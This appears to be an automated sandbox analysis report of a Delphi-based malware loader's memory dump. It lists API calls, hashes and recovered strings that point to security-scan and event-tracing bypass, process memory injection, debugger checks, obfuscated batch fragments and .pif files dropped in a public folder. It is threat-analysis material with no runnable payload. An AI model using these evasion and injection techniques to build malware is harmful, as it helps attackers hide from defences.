FlushInstructionCache, xrefs: 02B4A303
NtWriteVirtualMemory, xrefs: 02B4A7DA
RetailTracerEnable, xrefs: 02B497DA
WinHttp.WinHttpRequest.5.1, xrefs: 02B417E9
http, xrefs: 02B415D5
spp, xrefs: 02B49824, 02B49857, 02B4A4F4
EtwEventWrite, xrefs: 02B4A873
CreateProcessAsUserA, xrefs: 02B4A146
GZmMS1j, xrefs: 02B3ECBC
CryptSIPGetSignedDataMsg, xrefs: 02B3F2A7
NtGetWriteWatch, xrefs: 02B4A5A9
UacScan, xrefs: 02B3ED47, 02B3F586, 02B3F67E, 02B3FC4D, 02B40833, 02B40E11, 02B41773, 02B41E86, 02B43097, 02B43261, 02B433C2, 02B4353B, 02B436BE, 02B4388F, 02B4396D, 02B43AFB, 02B44007, 02B443C4, 02B445F9, 02B452D7, 02B45847, 02B45A0C, 02B45D3A, 02B45E47, 02B460A5, 02B4619D, 02B46D40, 02B470E2, 02B472F9, 02B4748C, 02B476E0, 02B47B6C, 02B47CF5, 02B47E4E, 02B47FF4, 02B48181, 02B48315, 02B48494, 02B4870B, 02B48B79, 02B48D93, 02B48F74, 02B490E8, 02B4931E, 02B4A18E
TrustOpenStores, xrefs: 02B3F0B0
EnumServicesStatusExA, xrefs: 02B4A0FB
NtDeviceIoControlFile, xrefs: 02B4A0B0
NtWaitForSingleObject, xrefs: 02B49DA2
psapi, xrefs: 02B4A11E
SLGetEncryptedPIDEx, xrefs: 02B4A576
UacUninitialize, xrefs: 02B42D1E, 02B4301B, 02B43113, 02B438F1, 02B43F8B
NtAccessCheck, xrefs: 02B4A741
CryptSIPGetInfo, xrefs: 02B3F241
NtQueryInformationThread, xrefs: 02B4A60F
@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or, xrefs: 02B44598
endpointdlp, xrefs: 02B49B8F, 02B49BC2, 02B49BF5, 02B49C28
ScanBuffer, xrefs: 02B3EE73, 02B3F1CB, 02B3F3F5, 02B3F95C, 02B3FA69, 02B3FB81, 02B3FF55, 02B400F3, 02B40299, 02B403B9, 02B4054E, 02B40646, 02B408AF, 02B40A55, 02B40BF1, 02B40D07, 02B40D95, 02B410A9, 02B4134A, 02B4145B, 02B415F8, 02B419A3, 02B41AAF, 02B41CCD, 02B41DEA, 02B42105, 02B421A6, 02B4231A, 02B424DA, 02B427FC, 02B42BF3, 02B42E92, 02B42F23, 02B432DD, 02B434BF, 02B43633, 02B437B6, 02B43832, 02B439E9, 02B43BF3, 02B43E51, 02B44083, 02B442C7, 02B4450F, 02B447C5, 02B4492B, 02B44AC0, 02B44DF8, 02B45132, 02B4544B, 02B457CB, 02B45B04, 02B45DB6, 02B45FBB, 02B46121, 02B46295, 02B46311, 02B46EB4, 02B46F45, 02B47375, 02B47508, 02B47664, 02B4775C, 02B47C79, 02B47F46, 02B480EC, 02B48279, 02B4840D, 02B4858C, 02B48803, 02B488FB, 02B48D17, 02B48FF0, 02B49164, 02B4939A, 02B4942C, 02B49764, 02B49B02, 02B4A031, 02B4A937
OpenProcess, xrefs: 02B4A29D
CreateProcessWithLogonW, xrefs: 02B4A164
BCryptQueryProviderRegistration, xrefs: 02B3F389
NtCreateSection, xrefs: 02B4A675
smartscreenps, xrefs: 02B3F4FE, 02B3F531, 02B3F564
DlpGetArchiveFileTraceInfo, xrefs: 02B49BDE
C:\Users\Public\aken.pif, xrefs: 02B44B51
ScanString, xrefs: 02B3EE0F, 02B3F03A, 02B3F14F, 02B3F2E0, 02B3F471, 02B3F6FA, 02B3F83B, 02B3FDC1, 02B409D9, 02B40B75, 02B40FB1, 02B411CC, 02B41248, 02B41565, 02B4188B, 02B41B54, 02B41F91, 02B423C2, 02B425D2, 02B42688, 02B429B7, 02B42AD9, 02B42D9A, 02B431E5, 02B43CDD, 02B44153, 02B44348, 02B44D00, 02B44E9A, 02B451DF, 02B455A3, 02B45C42, 02B46428, 02B4659F, 02B46657, 02B46CC4, 02B4715E, 02B475C5, 02B47BE8, 02B4868F, 02B48A81, 02B48E6A, 02B49226, 02B49524, 02B498DF, 02B49CC6, 02B49EBD, 02B4A467
BCryptVerifySignature, xrefs: 02B3F356, 02B499D1
tquery, xrefs: 02B497F1
SLGetGenuineInformation, xrefs: 02B4959A
DllRegisterServer, xrefs: 02B3F001, 02B3F54D
NtQueryVirtualMemory, xrefs: 02B4A5DC
NtReadVirtualMemory, xrefs: 02B4A6DB
MiniDumpWriteDump, xrefs: 02B4899E
.url, xrefs: 02B454DB
EnumServicesStatusA, xrefs: 02B4A0DD
D2^Tyj}~TVrgoij[Dkcxn}dmu, xrefs: 02B3FE37
@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%, xrefs: 02B4484E
NtOpenProcess, xrefs: 02B489DA
IconIndex=, xrefs: 02B464FD
DlpNotifyPreDragDrop, xrefs: 02B49B78
UacInitialize, xrefs: 02B3EF3B, 02B3F602, 02B3FD45, 02B43D59, 02B441CF, 02B449C8, 02B44C84, 02B4503A, 02B45527, 02B4703D, 02B4887F, 02B48C9B
RtlQueryProcessDebugInformation, xrefs: 02B4A0CE
RtlAllocateHeap, xrefs: 02B49D6F, 02B49DD5
EnumServicesStatusW, xrefs: 02B4A0EC
DllGetClassObject, xrefs: 02B3EFB0, 02B3F4E7, 02B49840, 02B4A510
FX.c, xrefs: 02B446FB
bcrypt, xrefs: 02B3F36D, 02B3F3A0, 02B3F3D3, 02B499E8
HotKey=, xrefs: 02B46631
Initialize, xrefs: 02B3EDAB, 02B3FCC9, 02B3FE5D, 02B3FFFB, 02B401A1, 02B40456, 02B40AF9, 02B40F35, 02B413DF, 02B414E9, 02B41BD0, 02B41F02, 02B42222, 02B42556, 02B42704, 02B42A5D, 02B42E16, 02B44FBE, 02B45353, 02B4574F, 02B45914, 02B45B80, 02B45CBE, 02B45EC3, 02B46E38, 02B47AF0, 02B48AFD, 02B496E8, 02B49A86, 02B49FB5, 02B4A36F, 02B4A8BB
sppc, xrefs: 02B495B1, 02B495E4, 02B49617, 02B4964A, 02B4A55A, 02B4A58D
@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%, xrefs: 02B43361
EnumServicesStatusExW, xrefs: 02B4A10A
LdrLoadDll, xrefs: 02B4A774
C:\Users\Public\alpha.pif, xrefs: 02B44B36
C:\Users\Public\, xrefs: 02B43183, 02B454D0, 02B46743
EtwEventWriteEx, xrefs: 02B4A840
SLLoadApplicationPolicies, xrefs: 02B49633
CreateProcessAsUserW, xrefs: 02B4A155, 02B4A173
SLIsGenuineLocalEx, xrefs: 02B49600
MiniDumpReadDumpStream, xrefs: 02B489B2
CreateProcessA, xrefs: 02B4A128
lld.SLITUTEN, xrefs: 02B43AB8
DlpGetWebSiteAccess, xrefs: 02B49C11
NtQuerySecurityObject, xrefs: 02B4A70E
DllGetActivationFactory, xrefs: 02B3F51A
wintrust, xrefs: 02B3F0C7, 02B3F0FA, 02B3F12D
RtlCreateQueryDebugBuffer, xrefs: 02B49E08
sys.thgiseurt, xrefs: 02B43ECC
VirtualProtect, xrefs: 02B4A26A
[InternetShortcut], xrefs: 02B46498
CryptSIPVerifyIndirectData, xrefs: 02B3F274, 02B498A6
dbgcore, xrefs: 02B489A3, 02B489B7
NtOpenSection, xrefs: 02B4A642
advapi32, xrefs: 02B4898F
GET, xrefs: 02B41902
SetUnhandledExceptionFilter, xrefs: 02B4A336
EnumProcessModules, xrefs: 02B4A119
sppwmi, xrefs: 02B4A527
OpenSession, xrefs: 02B3ECE3, 02B3EED7, 02B3F7BF, 02B3F8E0, 02B3F9ED, 02B3FB05, 02B3FED9, 02B40077, 02B4021D, 02B4033D, 02B404D2, 02B405CA, 02B407B7, 02B4095D, 02B40C8B, 02B40EB9, 02B4102D, 02B41150, 02B412CE, 02B41674, 02B416F7, 02B4180F, 02B41927, 02B41A33, 02B41C51, 02B41D6E, 02B4200D, 02B42089, 02B4229E, 02B4243E, 02B42780, 02B4293B, 02B42B55, 02B42C6F, 02B42F9F, 02B4343E, 02B435B7, 02B4373A, 02B43B77, 02B43DD5, 02B43F0F, 02B4424B, 02B44493, 02B44675, 02B44749, 02B448AF, 02B44A44, 02B44D7C, 02B44F16, 02B450B6, 02B4525B, 02B453CF, 02B4561F, 02B456D3, 02B45990, 02B45A88, 02B45F3F, 02B46219, 02B4638D, 02B46523, 02B466D3, 02B46DBC, 02B46FC1, 02B471DA, 02B4727D, 02B47410, 02B477D8, 02B47A74, 02B47D71, 02B47ECA, 02B48070, 02B481FD, 02B48391, 02B48510, 02B48613, 02B48787, 02B48A05, 02B48BF5, 02B48EE6, 02B4906C, 02B492A2, 02B494A8, 02B4966C, 02B4995B, 02B49A0A, 02B49C4A, 02B49E41, 02B49F39, 02B4A3EB, 02B4A9B3
FindCertsByIssuer, xrefs: 02B3F116
SxTracerGetThreadContextDebug, xrefs: 02B4980D, 02B4A4DD
NtOpenObjectAuditAlarm, xrefs: 02B48976
NtMapViewOfSection, xrefs: 02B4A6A8
C:\\Users\\Public\\Libraries\\, xrefs: 02B44B66, 02B44BBC, 02B458B7
NtSetSecurityObject, xrefs: 02B489C6

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: File$Library$AddressFreeLoadModuleProc$AttributesCloseCreateHandleMove$CheckDebuggerDeleteDirectoryInetInformationInitNameOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
API String ID: 3130226682-181751239
Opcode ID: 9d0ff9e287935026df50b1baaccab876246f67c5ef5452eccbc386658428dfda
Instruction ID: ed874154e05177cc76719ddf94b77cbc025ec52654b9e5f374c5c12855f8da99
Opcode Fuzzy Hash: 9d0ff9e287935026df50b1baaccab876246f67c5ef5452eccbc386658428dfda
Instruction Fuzzy Hash: BD24F775A502688FDB11EB64CC80ADE73F6BF84310F5045E6E50DABA50DE30AE8ADF51

Function 02B25A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,02B20000,02B4D790), ref: 02B25A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B20000,02B4D790), ref: 02B25AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B20000,02B4D790), ref: 02B25AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02B25AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02B25B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02B25B37
RegQueryValueExA.ADVAPI32(?,02B25CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02B25B7D,?,80000001), ref: 02B25B55
RegCloseKey.ADVAPI32(?,02B25B84,00000000,?,?,00000000,02B25B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02B25B77
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02B25B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02B25BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02B25BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02B25BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B25C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B25C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02B25C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02B25C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02B25C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02B25C97

Strings

Software\Borland\Locales, xrefs: 02B25AA8, 02B25AC6
Software\Borland\Delphi\Locales, xrefs: 02B25AE4

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 9065ad0a8360442190b35c3e2e748f86645ee5d370dc3b50e3ecb94d5da7d839
Instruction ID: 4bd932c78b7b0ae43d0d2699d52b0914be321c09d70b45ade323b729943c388b
Opcode Fuzzy Hash: 9065ad0a8360442190b35c3e2e748f86645ee5d370dc3b50e3ecb94d5da7d839
Instruction Fuzzy Hash: 84515371A5032C7AFB25DAA88C46FEF77AD9B04744F8001E1B64CE6181E6749A488FA5

Function 02B3EBF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 02B3EC00
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02B3EC12
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02B3EC29

Strings

CheckRemoteDebuggerPresent, xrefs: 02B3EC0C
KernelBase, xrefs: 02B3EBFB

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: f57adaac508387e4c3b47b208f797807170b0a656168700205ecb1bb585c4167
Instruction ID: 4db03abc1a1aab88f9d7ec3c0bf49ce256d9993a95c6ffda71476ac4a073c6c7
Opcode Fuzzy Hash: f57adaac508387e4c3b47b208f797807170b0a656168700205ecb1bb585c4167
Instruction Fuzzy Hash: 28F0A77090435CAAD723A7A888897DCFBA99F05328FA403D5E424611D1E7754654C651

Function 02B3DBB0 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B24ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02B24EDA

RtlDosPa.N(00000000,?,00000000,00000000,00000000,02B3DC80), ref: 02B3DBEB
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02B3DC80), ref: 02B3DC1B
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02B3DC30
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02B3DC5C
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02B3DC65

Part of subcall function 02B24C0C: SysFreeString.OLEAUT32(02B3E950), ref: 02B24C1A

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: File$String$AllocCloseFreeInformationOpenQueryRead
String ID:
API String ID: 2659941336-0
Opcode ID: 72b051a609ada8354934f86183e16be23707a5ea60c51b7b301020e0c9a54304
Instruction ID: 148882419bc58431bda2f39c08e530452064ddbd69174c59b6d21cdd74146c7b
Opcode Fuzzy Hash: 72b051a609ada8354934f86183e16be23707a5ea60c51b7b301020e0c9a54304
Instruction Fuzzy Hash: BB21C471650319BAEB11EAE4CC46FDE77BDAB48700F5005A1B704F75C0D6B4AA048B95

Function 02B3E2F8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02B3E436

Strings

ScanBuffer, xrefs: 02B3E37F
Initialize, xrefs: 02B3E326
OpenSession, xrefs: 02B3E3D8

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: 6fd5e4d7c0eac811ed7aafce93d305b96c1f134067ff89d6fc26dfd8e4311ed4
Instruction ID: 83cf2c2b53334b04eff771035e8915f2e879690ae65e40824dc6325d7bec5848
Opcode Fuzzy Hash: 6fd5e4d7c0eac811ed7aafce93d305b96c1f134067ff89d6fc26dfd8e4311ed4
Instruction Fuzzy Hash: E6411235B102289FEB02EBA4C840ADE73FAEF4C320F1144A6E555B7A50DA74ED098F60

Function 02B37D00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02B38020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B38090,?,?,00000000,?,02B37A06,ntdll,00000000,00000000,02B37A4B,?,?,00000000), ref: 02B3805E
Part of subcall function 02B38020: GetModuleHandleA.KERNELBASE(?), ref: 02B38072

Part of subcall function 02B380C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B38150,?,?,00000000,00000000,?,02B38069,00000000,KernelBASE,00000000,00000000,02B38090), ref: 02B38115
Part of subcall function 02B380C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B3811B
Part of subcall function 02B380C8: GetProcAddress.KERNEL32(?,?), ref: 02B3812D

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B37D74

Strings

yromeMlautriVetirW, xrefs: 02B37D1B
Ntdll, xrefs: 02B37D4B

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: HandleModule$AddressProc$MemoryVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 2719805696-3542721025
Opcode ID: 872349fb5d0425ec3b1f6f81fe532ce4d91e767f878e96762a345fbe282078d0
Instruction ID: e2b368505690303919d971d64354030018e8fb0cf9fbdb28c536ba5f4541b37f
Opcode Fuzzy Hash: 872349fb5d0425ec3b1f6f81fe532ce4d91e767f878e96762a345fbe282078d0
Instruction Fuzzy Hash: AF012DB5610208BFEB01EFA8EC41E9EB7FDEB49700F518490B508E7A50DA30A915DF25

Function 02B36D50 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 02B36CF4: CLSIDFromProgID.OLE32(00000000,?,00000000,02B36D41,?,?,?,00000000), ref: 02B36D21

CoCreateInstance.OLE32(?,00000000,00000005,02B36E34,00000000,00000000,02B36DB3,?,00000000,02B36E23), ref: 02B36D9F

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: 187e879accfee8ce198bcaab122b57fc5b3fea81fa581e18d6b8bee83bf46062
Instruction ID: d35e07569fc37582830da605400f3aa6163dd10dbd1a3392b974fc45c1240d44
Opcode Fuzzy Hash: 187e879accfee8ce198bcaab122b57fc5b3fea81fa581e18d6b8bee83bf46062
Instruction Fuzzy Hash: 2A014731208304BEE706DF64DC129AF7BEDEB48710B5244B5F800D2650E6308A04C978

Function 02B21724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,02B22000), ref: 02B217D0
Sleep.KERNEL32(0000000A,00000000,?,02B22000), ref: 02B217E6

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 9de52f03e330f1c44f43be050e076900e70a83814b8bf743001a668f2b839b8a
